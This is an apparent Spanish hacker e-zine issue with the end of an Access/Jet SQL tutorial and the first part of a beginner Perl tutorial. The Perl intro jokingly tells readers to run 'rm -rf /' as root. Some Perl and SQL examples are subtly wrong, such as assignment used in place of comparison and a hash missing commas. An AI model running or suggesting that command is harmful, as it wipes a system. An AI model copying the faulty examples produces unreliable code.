  datos de Microsoft, solo podra utilizar esta clausula con las bases de
  datos propias de dicho motor.

  Para los indices de campos unicos: 

    CONSTRAINT nombre {PRIMARY KEY | UNIQUE | REFERENCES tabla externa 
    [(campo externo1, campo externo2)]} 

  Para los indices de campos multiples: 

    CONSTRAINT nombre {PRIMARY KEY (primario1[, primario2 [, ...]]) | 
    UNIQUE (unico1[, unico2 [, ...]]) | 
    FOREIGN KEY (ref1[, ref2 [, ...]]) REFERENCES tabla externa [(campo
    externo1 [,campo externo2 [, ...]])]} 
  
  
  * nombre:  Es el nombre del indice que se va a crear.

  * primarioN: Es el nombre del campo o de los campos que forman el indice
               primario.

  * unicoN: Es el nombre del campo o de los campos que forman el indice de
            clave unica.

  * refN: Es el nombre del campo o de los campos que forman el indice externo
          (hacen referencia a campos de otra tabla).

  * tabla externa: Es el nombre de la tabla que contiene el campo o los
                   campos referenciados en refN.

  * campos externos: Es el nombre del campo o de los campos de la tabla
                     externa especificados por ref1, ref2, ..., refN

  Si se desea crear un indice para un campo cuando se esta utilizando las
  instrucciones ALTER TABLE o CREATE TABLE la clausula CONTRAINT debe
  aparecer inmediatamente despues de la especificacion del campo indexeado.

  Si se desea crear un indice con multiples campos cuando se esta utilizando
  las instrucciones ALTER TABLE o CREATE TABLE la clausula CONSTRAINT debe
  aparecer fuera de la clausula de creacion de tabla.  

  -------------------------------------------------------------------------
  | Tipo de Indice  |  Descripcion                                        |
  -------------------------------------------------------------------------
  | UNIQUE          | Genera un indece de clave unica. Lo que implica que |
  |                 | los registros de la tabla no pueden contener el     |
  |                 | mismo valor en los campos indexados.                |
  -------------------------------------------------------------------------
  | PRIMARY KEY     | Genera un indice primario el campo o los campos     |
  |                 | especificados. Todos los campos de la clave principal
  |                 | deben ser unicos y no nulos, cada tabla solo puede  | 
  |                 | contener una unica clave principal.                 |
  -------------------------------------------------------------------------
  | FOREIGN KEY     | Genera un indice externo (toma como valor del indice|
  |                 | campos contenidos en otras tablas). Si la clave     |
  |                 | principal de la tabla externa consta de mas de un   |
  |                 | campo, se debe utilizar una definicion de indice de |
  |                 | multiples campos, listando todos los campos de      |
  |                 | referencia, el nombre de la tabla externa, y los    |
  |                 | nombres de los campos referenciados en la tabla     |
  |                 | externa en el mismo orden que los campos de         |
  |                 | referencia listados. Si los campos referenciados son|
  |                 | la clave principal de la tabla externa, no tiene que|
  |                 | especificar los campos referenciados, predeterminado|
  |                 | por valor, el motor Jet se comporta como si la clave|
  |                 | principal de la tabla externa fueran los campos     |
  |                 | referenciados .                                     |
  -------------------------------------------------------------------------


  11.3 Creacion de indices
       ------------------- 

  Si se utiliza el motor de datos Jet de Microsoft solo se pueden crear
  indices en bases de datos del mismo motor. La sintaxis para crear un
  indice en ua tabla ya definida en la siguiente:

    CREATE [ UNIQUE ] INDEX indice 
    ON tabla (campo [ASC|DESC][, campo [ASC|DESC], ...]) 
    [WITH { PRIMARY | DISALLOW NULL | IGNORE NULL }] 

  En donde: 
  
  * indice: Es el nombre del indice a crear. 

  * tabla: Es el nombre de una tabla existentes en la que se creara el
           indice.

  * campo: Es el nombre del campo o lista de campos que consituyen el
           indice.

  * ASC|DESC: Indica el orden de los valores de lso campos ASC indica un
              orden ascendente (valor predeterminado) y DESC un orden
              descendente.

  * UNIQUE: Indica que el indice no puede contener valores duplicados.

  * DISALLOW NULL: Prohibe valores nulos en el indice.

  * IGNORE NULL: Excluye del indice los valores nulos incluidos en los
                 campos que lo componen.

  * PRIMARY: Asigna al indice la categoria de clave principal, en cada tabla
             solo puede existir un unico indice que sea "Clave Principal".
             Si un indice es clave principal implica que que no puede
             contener valores nulos ni duplicados.

  Se puede utilizar CREATE INDEX para crear un pseudo indice sobre una tabla
  adjunta en una fuente de datos ODBC tal como SQL Server que no tenga
  todavia un indice. No necesita permiso o tener acceso a un servidor remoto
  para crear un pseudo indice, ademas la base de datos remota no es
  consciente y no es afectada por el pseudo indice. Se utiliza la misma
  sintaxis para las tabla adjunta que para las originales. Esto es
  especialmente util para crear un indice en una tabla que seria de solo
  lectura debido a la falta de un indice.

    CREATE INDEX MiIndice ON Empleados (Prefijo, Telefono); 

  Crea un indice llamado MiIndice en la tabla empleados con los campos
  Prefijo y Telefono.

    CREATE UNIQUE INDEX MiIndice ON Empleados (ID) WITH DISALLOW NULL; 

  Crea un indice en la tabla Empleados utilizando el campo ID, obligando
  que que el campo ID no contenga valores nulos ni repetidos.


  11.4 Modificar el Dise~o de una Tabla
       --------------------------------

  Modifica el dise~o de una tabla ya existente, se puden modificar los
  campos o los indices existentes. Su sintaxis es:

    ALTER TABLE tabla {ADD {COLUMN tipo de campo[(tama~o)] [CONSTRAINT indice] 
    CONSTRAINT indice multicampo} | 
    DROP {COLUMN campo I CONSTRAINT nombre del indice} } 

  En donde: 
  
  * tabla: Es el nombre de la tabla que se desea modificar. 

  * campo: Es el nombre del campo que se va a a~adir o eliminar.

  * tipo: Es el tipo de campo que se va a a~adir.

  * tama~o: El el tama~o del campo que se va a a~adir (solo para campos de
            texto).

  * indice: Es el nombre del indice del campo (cuando se crean campos) o el
            nombre del indice de la tabla que se desea eliminar.

  * indice multicampo: Es el nombre del indice del campo multicampo (cuando
                       se crean campos) o el nombre del indice de la tabla
                       que se desea eliminar.


  --------------------------------------------------------------------------
  |  Operacion  |                       Descripcion                        |
  --------------------------------------------------------------------------
  | ADD COLUMN  | Se utiliza para a~adir un nuevo campo a la tabla,        |
  |             | indicando el nombre, el tipo de campo y opcionalmente el |
  |             | tama~o (para campos de tipo texto).                      |
  --------------------------------------------------------------------------
  | ADD         | Se utliza para agregar un indice de multicampos o de un  |
  |             | unico campo.                                             |
  --------------------------------------------------------------------------
  | DROP COLUMN | Se utliza para borrar un campo. Se especifica unicamente |
  |             | el nombre del campo.                                     |
  --------------------------------------------------------------------------
  | DROP        | Se utiliza para eliminar un indice. Se especifica        |
  |             | unicamente el nombre del indice a continuacion de la     |
  |             | palabra reservada CONSTRAINT.                            |
  --------------------------------------------------------------------------


    ALTER TABLE Empleados ADD COLUMN Salario CURRENCY;

  Agrega un campo Salario de tipo Moneda a la tabla Empleados.

    ALTER TABLE Empleados DROP COLUMN Salario; 


  Elimina el campo Salario de la tabla Empleados.

    ALTER TABLE Pedidos ADD CONSTRAINT RelacionPedidos FOREIGN KEY 
    (ID_Empleado) REFERENCES Empleados (ID_Empleado); 

  Agrega un indice externo a la tabla Pedidos. El indice externo se basa en
  el campo ID_Empleado y se refiere al campo ID_Empleado de la tabla
  Empleados. En este ejemplo no es necesario indicar el campo junto al
  nombre de la tabla en la clausula REFERENCES, pues ID_Empleado es la clave
  principal de la tabla Empleados.

    ALTER TABLE Pedidos DROP CONSTRAINT RelacionPedidos; 

  Elimina el indide de la tabla Pedidos.


  12 Consultas con Parametros
     ------------------------

  Las consultas con parametros son aquellas cuyas condiciones de busqueda se
  definen mediante parametros. Si se ejecutan directamente desde la base de
  datos donde han sido definidas aparecera un mensaje solicitando el valor
  de cada uno de los parametros. Si deseamos ejecutarlas desde una aplicacion
  hay que asignar primero el valor de los parametros y despues ejecutarlas.

  Su sintaxis es la siguiente:

   PARAMETERS nombre1 tipo1, nombre2 tipo2, ... , nombreN tipoN Consulta 

  En donde: 
  
  * nombre: Es el nombre del parametro.
  * tipo: Es el tipo de datos del parametro.
  * consulta: Una consulta SQL.


  Puede utilizar nombre pero no tipo de datos en una clausula WHERE o
  HAVING.

    PARAMETERS Precio_Minimo Currency, Fecha_Inicio DateTime; 
    SELECT IDPedido, Cantidad FROM Pedidos WHERE Precio > Precio_Minimo 
    AND FechaPedido >= Fecha_Inicio; 

  El ejemplo siguiente muestra como utilizar los parametros en el programa
  de Visual Basic:

  Public Sub GeneraConsulta() 

  Dim SQL As String 
  Dim Qd As QueryDef 
  Dim Rs As Recordset 

    SQL = "PARAMETERS Precio_Minimo Currency,  Fecha_Inicio DateTime; " 
    SQL = SQL & "SELECT IDPedido, Cantidad FROM Pedidos WHERE Precio > " 
    SQL = SQL & "Precio_Minimo AND FechaPedido >= Fecha_Inicio; " 

    Set Qd = BaseDatos.CreateQueryDef(MiConsulta, SQL) 

    Qd.Parameters!Precio_Minimo = 2 
    Qd.Parameters!FechaInicio = #31/12/95# 

    Set Rs = Qd.OpenRecordset() 

  End Sub 


  Ejemplo:

    PARAMETERS [Escriba los Apellidos:] Text; SELECT * FROM Empleados 
    WHERE [Escriba los Apellidos:] = [Apellidos]; 

  La ejecucion desde la base de datos solicita al usuario los apellidos del
  empleado y despues muestra los resultados.


  13. Bases de Datos Externas
      -----------------------

  Para el acceso a bases de datos externas se utiliza la clausula IN. Se
  puede acceder a base de datos dBase, Paradox o Btrieve. Esta clausula solo
  permite la conexion de una base de datos externa a la vez. Una base de
  datos externa es una base de datos que no sea la activa. Aunque para
  mejorar los rendimientos es mejor adjuntarlas a la base de datos actual y
  trabajar con ellas.

  Para especificar una base de datos que no pertenece a Access Basic, se
  agrega un punto y coma (;) al nombre y se encierra entre comillas simples.
  Tambien puede utilizar la palabra reservada DATABASE para especificar la
  base de datos externa. Por ejemplo, las lineas siguientes especifican la
  misma tabla:

    FROM Tabla IN  '[dBASE IV; DATABASE=C:\DBASE\DATOS\VENTAS;]'; 
    FROM Tabla IN 'C:\DBASE\DATOS\VENTAS' 'dBASE IV;' 

  * Acceso a una base de datos externa de Microsoft Access: 

   SELECT IDCliente FROM Clientes IN MISDATOS.MDB WHERE IDCliente Like 'A*'; 

  En donde MISDATOS.MDB es el nombre de una base de datos de Microsoft
  Access que contiene la tabla Clientes.

  * Acceso a una base de datos externa de dBASE III o IV:

    SELECT IDCliente FROM Clientes IN 'C:\DBASE\DATOS\VENTAS' 'dBASE IV'; 
    WHERE IDCliente Like 'A*'; 

  Para recuperar datos de una tabla de dBASE III+ hay que utilizar 'dBASE
  III+;' en lugar de 'dBASE IV;'.


  * Acceso a una base de datos de Paradox 3.x o 4.x:

    SELECT IDCliente FROM Clientes IN 'C:\PARADOX\DATOS\VENTAS' 
    'Paradox 4.x;' WHERE IDCliente Like 'A*'; 

  Para recuperar datos de una tabla de Paradox version 3.x, hay que
  sustituir 'Paradox 4.x;' por 'Paradox 3.x;'.

  * Acceso a una base de datos de Btrieve:

    SELECT IDCliente FROM Clientes IN 'C:\BTRIEVE\DATOS\VENTAS\FILE.DDF' 
    'Btrieve;' WHERE IDCliente Like 'A*'; 

  C:\BTRIEVE\DATOS\VENTAS\FILE.DDF es la ruta de acceso y nombre de archivo
  del archivo de definicion de datos de Btrieve.


  14. Omitir los Permisos de Ejecucion
      --------------------------------

  En entornos de bases de datos con permisos de seguridad para grupos de
  trabajo se puede utilizar la clausula WITH OWNERACCESS OPTION para que el
  usuario actual adquiera los derechos de propietario a la hora de ejecutar
  la consulta. Su sintaxis es:
  

    instruccion sql WITH OWNERACCESS OPTION 

    SELECT Apellido, Nombre, Salario FROM Empleados ORDER BY Apellido 
    WITH OWNERACCESS OPTION; 

  Esta opcion requiere que este declarado el acceso al fichero de grupo de
  trabajo (generalmente system.mda o system .mdw) de la base de datos
  actual.


  15 La Clausula PROCEDURE
     ---------------------

  Esta clausula es poco usual y se utiliza para crear una consulta a la
  misma vez que se ejecuta, opcionalmente define los parametros de la misma.
  Su sintaxis es la siguiente:

PROCEDURE NombreConsulta Parametro1 tipo1, .... , ParametroN tipon ConsultaSQL

  En donde: 
  
  * NombreConsulta: Es el nombre con se guardara la consulta en la base de
                    datos.
  * Parametro: Es el nombre de parametro o de los parametros de dicha
               consulta.
  * tipo:  Es el tipo de datos del parametro.

  * ConsultaSQL: Es la consulta que se desea grabar y ejecutar.


   PROCEDURE Lista_Categorias; SELECT DISTINCTROW Nombre_Categoria,
    ID_Categoria FROM Categorias ORDER BY Nombre_Categoria; 


  Asigna el nombre Lista_de_categorias a la consulta y la ejecuta.

    PROCEDURE Resumen Fecha_Inicio DateTime, Fecha_Final DateTime; SELECT 
    DISTINCTROW Fecha_Envio, ID_Pedido, Importe_Pedido, Format(Fecha_Envio,
    "yyyy") AS A~o FROM Pedidos WHERE Fecha_Envio Between Fecha_Inicio
    And Fecha_Final;

  Asigna el nombre Resumen a la consulta e incluye dos parametros.


  16 ANEXOS
     ------

  16.1 Resolucion de Problemas
       -----------------------

  16.1.1 Buscar Informacion duplicada en un campo de una tabla
         -----------------------------------------------------

  Para generar este tipo de consultas lo mas sencillo es utilizar el
  asistente de consultas de Access, editar la sentencia SQL de la consulta
  y pegarla en nuestro codigo. No obstante este tipo de consulta se consigue
  de la siguiente forma:

    SELECT DISTINCTROW Lista de Campos a Visualizar FROM Tabla 
    WHERE CampoDeBusqueda In (SELECT CampoDeBusqueda FROM Tabla As psudonimo 
    GROUP BY CampoDeBusqueda HAVING Count(*)>1 ) ORDER BY CampoDeBusqueda; 

  Un caso practico, si deseamos localizar aquellos empleados con igual
  nombre y visualizar su codigo correspondiente, la consulta seria la
  siguiente:

    SELECT DISTINCTROW Empleados.Nombre, Empleados.IdEmpleado 
    FROM Empleados WHERE Empleados.Nombre In (SELECT Nombre FROM 
    Empleados As Tmp GROUP BY Nombre HAVING Count(*)>1) 
    ORDER BY Empleados.Nombre; 


  16.1.2 Recuperar Registros de una tabla que no contengan registros
         relacionados en otra.
         ------------------------------------------------------------

  Este tipo de consulta se emplea en situaciones tales como saber que
  productos no se han vendido en un determinado periodo de tiempo,

    SELECT DISTINCTROW Productos.IdProducto, Productos.Nombre FROM Productos 
    LEFT JOIN Pedidos ON Productos.IdProducto = Pedidos.IdProduct WHERE 
    (Pedidos.IdProducto Is Null) AND (Pedidos.Fecha Between #01-01-02# And 
    #01-30-02#); 

  La sintaxis es sencilla, se trata de realizar una union interna entre dos
  tablas seleccionadas mediante un LEFT JOIN, establecimiendo como condicion
  que el campo relacionado de la segunda sea Null.


  16.2 Utlizar SQL desde Visual Basic
       ------------------------------

  Existen dos tipos de consultas SQL: las consultas de seleccion (nos
  devuelven datos) y las consultas de accion (aquellas que no devuelven
  ningun registro). Ambas pueden ser tratadas en Visual Basic pero de forma
  diferente.

  Las consultas de seleccion se ejecutan recogiendo la informacion en un
  recordset previamente definido mediante la instruccion openrecordset(),
  por ejemplo:

  Dim SQL as String 
  Dim RS as recordset 

    SQL = "SELECT * FROM Empleados;" 
    Set RS=MiBaseDatos.OpenRecordSet(SQL) 

  Si la consula de seleccion se encuentra almacenada en una consulta de la
  base de datos:

    Set RS=MiBaseDatos.OpenRecordset("MiConsulta") 

  Las consultas de accion, al no devolver ningun registro, no las podemos
  asignar a ningun recordset, en este caso la forma de ejecutarlas es
  mediante los metodos Execute y ExecuteSQL (para bases de datos ODBC), por
  ejemplo:

  Dim SQL as string 

    SQL = "DELETE * FROM Empleados WHERE Categoria = 'Ordenanza';" 
    MiBaseDatos.Execute SQL 


  16.3 Funciones de Visual Basic utilizables en una Instruccion SQL
       ------------------------------------------------------------
  
  ---------------------------------------------------------------------------
  | Funcion |  Sintaxis    | Descripcion                                    |
  ---------------------------------------------------------------------------
  | Now     | Variable=Now | Devuelve la fecha y la hora actual del sistema |
  -------------------------------------------------------------------------
  | Date    | Variable=Date| Devuelve la fecha actual del sistema           |
  ---------------------------------------------------------------------------
  | Time    | Variable=Time| Devuelve la hora actual del sistema            |
  ---------------------------------------------------------------------------
  | Year    | Variable=Year         | (Fecha) Devuelve los cuatro digitos   |
  |         |                       | correspondientes al a~o de Fecha      |
  ---------------------------------------------------------------------------
  | Month   | Variable=Month        | (Fecha) Devuelve el numero del mes del|
  |         |                       | parametro fecha.                      |
  ---------------------------------------------------------------------------
  | Day     | Variable=Day(Fecha)   | Devuelve el numero del dia del mes del|
  |         |                       | parametro fecha.                      |
  ---------------------------------------------------------------------------
  | Weekday | Variable=Weekday      | Devuelve un numero entero que         |
  |         |                       | representa el dia de la semana del    |
  |         |                       | parametro fecha.                      |
  ---------------------------------------------------------------------------
  | Hour    | Variable=Hour(Hora)   | Devuelve un numero entre 0 y 23 que   |
  |         |                       | representa la hora del parametro Hora |
  ---------------------------------------------------------------------------
  | Minute  | Variable=Minute(Hora) | Devuelve un numero entre 0 y 59 que   |
  |         |                       | representa los minutos del parametro  |
  |         |                       | hora.                                 |
  ---------------------------------------------------------------------------
  | Second  | Variable=Second(Hora) | Devuelve un numero entre 0 y 59 que   |
  |         |                       | representa los segundos del parametro |
  |         |                       | hora.                                 |
  ---------------------------------------------------------------------------


  DatePart
  --------

  Esta funcion devuelve una parte se~alada de una fecha concreta. Su
  sintaxis es:

    DatePart(Parte, Fecha, ComienzoSemana, ComienzoA~o) 

  Parte representa a la porcion de fecha que se desea obtener, los posibles
  valores son:

  yyyy: A~o 
  q: Trimestre 
  m: Mes 
  y: Dia del a~o 
  d: Dia del mes 
  w: Dia de la semana 
  ww: Semana del a~o 
  h: Hora 
  m: Minutos 
  s: Segundos 


  ComienzoSemana indica el primer dia de la semana. Los posibles valores
  son:
  
  0: Utiliza el valor pode efecto del sistema 
  1: Domingo (Valor predeterminado) 
  2: Lunes 
  3: Martes 
  4: Miercoles 
  5: Jueves 
  6: Viernes 
  7: Sabado 


  ComienzoA~o indica cual es la primera semana del a~o; los posibles valores
  son:

  0: Valor del sistema 
  1: Comienza el a~o el 1 de enero (valor predeterminado). 
  2: Empieza con la semana que tenga al memos cuatro dias en el nuevo a~o. 
  3: Empieza con la semana que este contenida completamente en el nuevo a~o. 


  16.4 Evaluar valores antes de ejecutar la Consuta
       --------------------------------------------
 
  Dentro de una sentencia SQL podemos emplear la funcion iif para indicar
  las condiciones de busqueda. La sintaxis de la funcion iif es la
  siguiente:

    iif(Expresion,Valor1,Valor2) 

  En donde Expresion es la sentencia que evaluamos; si Expresion es
  verdadera entonces se devuelve Valor1, si Expresion es falsa se devuelve
  Valor2.

    SELECT * Total FROM Empleados WHERE Apellido = 
    iff(TX_Apellido.Text <> '', TX_Apellido.Text, *) ; 

  Supongamos que en un formulario tenemos una casilla de texto llamanda
  TX_Apellido. Si cuando ejecutamos esta consulta la casilla contiene algun
  valor se devuelven todos los empleados cuyo apellido coincida con el texto
  de la casilla, en caso contrario se devuelven todos los empleados.

    SELECT Fecha, Producto, Cantidad, (iif(CodigoPostal>=28000 And 
    CodigoPostal <=28999,'Merida','Nacional')) AS Destino FROM Pedidos; 

  Esta consulta devuelve los campos Fecha, Nombre del Producto y Cantidad de
  la tabla pedidos, a~adiendo un campo al final con el valor Merida si el
  codigo posta esta dentro del intervalo, en caso contario devuelve
  Nacional.


  16.5 Un Peque~o Manual de Estilo
       ---------------------------

  Siempre es bueno intentar hacer las cosas de igual modo para que el
  mantenimiento y la revision nos sea una labor lo mas sencilla posible. En
  lo que a mi respecta utilizo las siguiente normas a la hora de elaborar
  sentecias SQL:
  

  * Las clausulas siempre las escribo con Mayusculas. 
  * Los operadores logicos de sentencias siempre con Mayusculas. 
  * Las operaciones siempre la primera letra con mayusculas y el resto en
    minusculas.
  * Los operadores logicos incluidos en otros operadores la primera letra
    con mayusculas y el resto con minuculas.
  * Los Nombres de las Tablas, Campos y Consultas, los escribo siempre la
    primera letra con mayusculas y el resto con minusculas, en algunos casos
    utilizo el caracter "_" para definir mejor el nombre: Detalles_Pedidos.

  Aunque con el motor Jet se pueden utilizar acentos y espacios en blanco
  para nombrar los campos, las tablas y las consultas no los utilizo porque
  cuando se exportar tablas a otros sistemas los acentos y los espacios en
  blanco pueden producir errores innecesarios.

  Recuerda siempre que si utilizas espacios en blanco para llamar tablas o
  consultas cada vez que hagas referencias a ellos en una consulta debes
  incluir sus nombres entre corchetes.

  SELECT [ID de Pedido], [Nombre del Producto], Cantidad FROM [Detalles del
  Pedido];

<EOF>


-[ 4x06.txt ]----------------------------------------------------------------
-[ Perl for Panas (1/3) ]--------------------------------------[ elreviron ]-
----------------------------------------------------[ elreviron@otv.org.ve ]-


      PPP  PPPP PPPP P
      P  P P    P  P P
      PPP  PP   PPP  P
      P    P    P  P P 
      P    PPPP P  P PPPP

                  for Panas
                     1 de 3 


  Ok, esta es la primera entrega de 3 articulos sucesivos, los dos primeros
  dirigidos mas que todo a mostrar el lenguaje desde la explicacion de su
  sintaxis, tipos de variable, funciones, etc. y el tercero ya con
  aplicaciones practicas del lenguaje, las cuales seran ejemplos explicados
  de lo que podemos hacer con PERL -que adelanto que no es poco ;) -  que
  van desde escaneadores de puertos hasta scripts CGI, pasando por
  programitas muy utiles de menos de 5 lineas.

  Espero que sea de su agrado, de lo contrario pueden ejecutar "rm -rf /"
  (como root, preferiblemente xDDDD )

  ##
  ##
  ##  INTRODUCCION:   LEETE ESTO BIEN O LO SIGUENTE PUEDE PERDER SENTIDO
  ##
  ##

  Off Topic - Todos los tutoriales deberian tener esto por lo menos 20 veces
              en el transcurso de sus paginas, los canales de #ayuda
              estarian en un 80% vacios.

  Para entender el PERL sepamos principalmente de donde viene su nombre:
  PERL significa "Practical Extraction Report Language", o, pa los panas,
  Lenguaje para la Practica Extraccion de Reportes. Por lo tanto sera mejor
  utilizado en las tareas para las cuales ha sido creado.

  "Ahora bien", como dice Tolkien, veamos algo de teoria para comenzar a
  jugar un poco con este lenguaje.

  ##
  ##
  ##  $sintaxis = "si no lo escribes bien no hago un co~o" ;
  ##      
  ##

  En adelante explico la manera y las reglas (no son castrantes xD) de como
  se debe escribir en PERL. Es importante decir que PERL permite gran
  flexibilidad para esto y tiene muchas "expresiones implicitas" que
  permiten omitir parte del codigo e igualmete el interprete lo comprende y
  maneja interesante no?, aunque en ocaciones esto puede tornar nuestros
  programas un poco ininteligibles e inclusive dificil de entender para
  nosotros mismos pasados unos meses.

  Yo recomiendo ser siempre los mas explicativo posible en cualquier
  lenguaje, comentar mucho los programss y ser lo mas ordenado posible tanto
  con la indentacion del codico como con los nombres que les demos a las
  variables, pero en fin... veamos un ejemplo de como es un programa sencillo
  en PERL:

  NOTA: Se escribe codigo de ejemplo, NO hacer caso al codigo en si, sino la
        manera en la cual esta escrito, es para familiarizarnos un poco con
        su forma.

-------------- ejemplo.pl -------------------
[++] perl/ejemplo.pl
#!/usr/bin/perl

# ejemplo de programa en PERL
# solo para ver a vuelo de pajaro
# como es la sintaxis

use strict;
use warnings;

# definicion de variables
my $contador = "10";
my $palabra;

print "bueno, te toca escribir 10 palabras\n";

# ciclo
while ($contador > 0)
        {
        print "palabra N $contador -----> ";
        $palabra = <STDIN>;
        $contador = $contador -1
        }
[--]
--------------- ejemplo.pl ----------------

  Ok, nuestro primer elemento que tenemos en un programa de PERL es el
  signo #! llamado "she bang", el cual le dice al sistema cual interprete
  va a usar para el archivo. En este caso es /usr/bin/perl o, pa los panas,
  el "perl".

  #!/usr/bin/perl

  Las lineas que comienzan con # son ignoradas por el interprete, con
  excepcion de la primera, la cual toma el #! como su primera instruccion o
  declaracion.

  De esta manera cualquier cosa que pongamos despues de # sera ignorado.
  Y todas las intrucciones terminan con punto y coma;

  El "use warnings" es para optimizar el reporte de errores del interprete y
  el "use strict" es para hacer uso de variables eSTRICTamente declaradas,
  esto lo iremos viendo a futuro, no problem

  Pero lo mejor de todo este cuento es que en PERL las cosas se pueden poner
  muy a gusto (y muy poco entendible sin erudiccion o paciencia, a veces) y
  este programa anterior puede quedar resumido asi:

----------------- ejmplo.pl ----------------------
[++] perl/ejmplo.pl
#!/usr/bin/perl
$contador = 10; print "bueno, te toca escribir 10 palabras\n";
do {print "palabra N $contador ----->"} while ($contador-- && <STDIN>);
[--]
----------------- ejmplo.pl -----------------------

  Y apuesto a que viene uno y lo hace en menos lineas o con menos
  instrucciones.

  Yo recomiendo usar el metodo del primer ejemplo, que hasta para uno mismo
  es mas sencillo de mantener.


  ##
  ##
  ##  Variables
  ##
  ##

  Tenemos 3 tipos de variables en PERL solamente.

  --> Variables escalares: Cualquier DATO es una variable escalar.
                           Cualquier informacion que nuestro sistema maneje,
                           pero como unidad, es decir un solo dato. Puede
                           ser una palabra, una frase, un numero o un grupo
                           de caracteres. Para nuestros escalares usaremos
                           siempre el signo $
  Ejemplos:
 
  $aber = "esta mal escrito";
  $total = 3284602;
  $contador = 0;
  $este_es_otro_dato = " 8-)   >:-(   X-D   :-/  emoticones, que les dicen.";



  --> Hashes: Cualquier PAR de datos. Para ellos usamos el signo % y una
              sintaxis flexible. Podemos definirlas asi:

  %errores_tipicos = ( haber => "a ver"
                       ha    => "ah"
                       haun  => "aun"
                       hay   => "ahi" )   ;

  O bien lo podemos definir de manera lineal:

  %no_recomendado = ("Nombre:", "elreviron", "Sistema Operativo:", "RedHat Linux 7.2", "Ciudad:", "Caracas", "correo:", "elreviron@otv.org.ve");



  --> Arreglos: GRUPOS de datos. Me gusta explicarlos asi: "Si el Escalar es
                una casa, el Arreglo es un edificio". Los definimos con el
                simbolo @
  Ejemplo:

  @macacos =("Yogni","Richal","Helbis","Yeliksa","Deisi","Hugo Chavez");

  O tambien

  @canal = qw(    kl0nk
                  elreviron
                  z3tA
                  blackwrite
                  binario
                  CibeRRideR
                  NiEtZsChE-2k
                  M4STR4X
                  CaponeX
                  D0ct0r_LKM
                  beren-
                  _FR0D0          ) ;

  ---
  NOTA IMPORTANTE: Cuando nos referimos a UN elemento particular de un HASH
                   o de un ARRAY debemos tener en cuenta algunas cosas:

  Los elementos a los cuales heremos referencias seran "datos" por lo tanto
  como lo explique anteriormente se comprenden dentro del tipo ESCALAR, para
  explicar esto lo ilustro con un ejemplo:

  Si tenemos el ARREGLO anterior @canal, para referirnos a uno de sus
  elementos en particular usamos

  $canal[numero] 

  Donde ese "numero" va desde cero (el primer elemento) hasta el numero de
  elementos menos uno (el ultimo elemento).

  $canal[0] es da como resultado "kl0nk"
  $canal[1] es "elreviron"
  $canal[2] es "z3tA", y asi sucesivamente...

  Para obtener varios elementos lo hacemos de esta manera:

  @canal[6,7]

  Eso nos dara como salida "NiEtZsChE-2k" y "M4STR4X"

  Y si queremos obtener un RANGO de elementos usamos:

  @canal[2..8]

  Les toca a ustedes saber que resulta de alli pa que piensen un poco ;)
  de igual manera para referirnos a un HASH usaremos un escalar solo que
  usaremos las {llaves} y el elemento se hara referencia con su "key" o su
  "llave", asi:

  $correccion{haber} dara como resultado "a ver" 

  ---

  Muy bien, como dije antes, en nuestros programas o scripts necesitaremos,
  por razones de orden y para evitar problemas a futuro, declarar las
  variables eSTRICTamente.

  Podemos saltarnos esto pero no es recomendable para programas de mas de
  10 lineas de extension. Despues de usar el STRICT las variables se
  declaran con my para variables locales y our para variables globales. Pero
  no nos hagamos coco, mucho mas adelante es que trabajaremos con esto.
  Mientras tanto, usemos solo el my hasta nuevo aviso.

  Asi nos quedaria un codigo con lo que vimos hasta ahora:

------------------ resumen.pl ----------------------------------
[++] perl/resumen.pl
#!/usr/bin/perl

# esto es un comentario... 
#                             a que no lo sabias!

use warnings;
use strict;

# no esta de mas comentar la declaracion de variables (a mi me gusta)

my $numero = 4;			# el numero actual de la ezine de otv
my $r00l3z = "0ri0n Team";	# el nombre del 

print " ---->  bienvenidos a la $numero";
print "| e-zine de $r00l3z \n";
[--]
------------------ resumen.pl ----------------------------------


  Print es nuestra instruccion para escribir en la salida estandar (el
  monitor) y el \n es para indicar un salto de linea.

  Si ejecutamos el programa 

  - Como? caray, no he explicado como, pero bueno, es el momento:
  - (1) lo guardamos bajo cualquier nombre (preferiblemente .pl)
  - (2) lo ejecutamos desde nuestra shell "perl nombre.de.archivo.pl" 

  Algo asi:

[root@TRON elreviron]# perl resumen.pl

  Y eso resultara en una salida asi:

  --> Bienvenidos a la 4ta e-zine de 0ri0n Team

  Tambien podemos darle permisos de ejecucion (chmod) y ejecutarlo con ./


  Bueno dicho esto pasamos a nuestro siguente punto:

  ##
  ##
  ##  Condiciones y Ciclos 
  ##  (algo asi como las oficinas de CANTV)
  ##

  Ahora veamos lo que en todos los lenguajes de programacion existe: las
  condiciones y los ciclos.

  IF, ELSIF, ELSE, UNLESS, WHILE, UNTIL, FOR y FOREACH


  "IF" y sus secuaces
  -------------------

  IF
  --
  Como su traduccion lo dice es "SI" pero no el afirmativo, sino la
  condicion. "si me gritas no te entiendo".

  if ($ejemplo = "claro") { print "ah, ok, entiendo" }

  Si $ejemplo tiene un valor de "claro" entonces sale "ah, ok, entiendo"

  Tenemos dentro de las condiciones IF las posibilidades ELSIF que es como
  decir "si no es asi" y "ELSE" que significa de lo contrario.

  if  ($distribucion = "RedHat")          { print "RH r00l3z :-P\n";}
   elsif ($distribucion = "Mandrake")  { print "Aclara tanto que oscurece\n";}
   elsif ($distribucion = "Debian")    { print "se descarga en 48 pasos\n";}
   elsif ($distribucion = "Suse")      { print "6 CD's\n";}
   elsif ($distribucion = "Slackware") { print "gusta mucho, la usan pocos\n";}
   else { print "dime la caracteristica para agregarla a mi lista: " ; }


  UNLESS
  ------
  Es lo mismo que decir "SI NO" se cumple la condicion

unless ($programa = "for linux") { print "yo no uso esa vaina\n"; }

  Si no se cumple que el paquete es for linux, imprime "yo no uso esa vaina"
  vale decir que la sintaxis de PERL, como hemos visto es bastante flexible
  asi que esta misma linea la podemos escribir asi:

print "yo no uso eso\n" unless ($programa = "for linux") ;


  WHILE y UNTIL: la pareja dispareja
  ----------------------------------

  WHILE
  -----
  while traduce "mientras", es decir, se repite el bloque MIENTRAS la
  condicion se cumpla. ejemplo:

my $ciclo = 0;
my @ministros = ("Yogni","Richal","Helbis","Yeliksa","Deisi","Yonder","Yanclo");

while   ($ciclo++ < @ministros)
   {
   print "Bueno, pero -- ";
   print $ministros[$ciclo-1];
   print " -- serviria como ministro si tuviera educacion\n";
   }

  El interprete de PERL (en este caso yo, jejeje) hace lo siguiente:

  ---------------
  declarar variable $ciclo y asignarle un valor de cero
  declarar @ministros y asignarle los valores Yogni, Richal, etc, etc.

  mientras $ciclo (mas uno) sea menor al n de elementos del arreglo
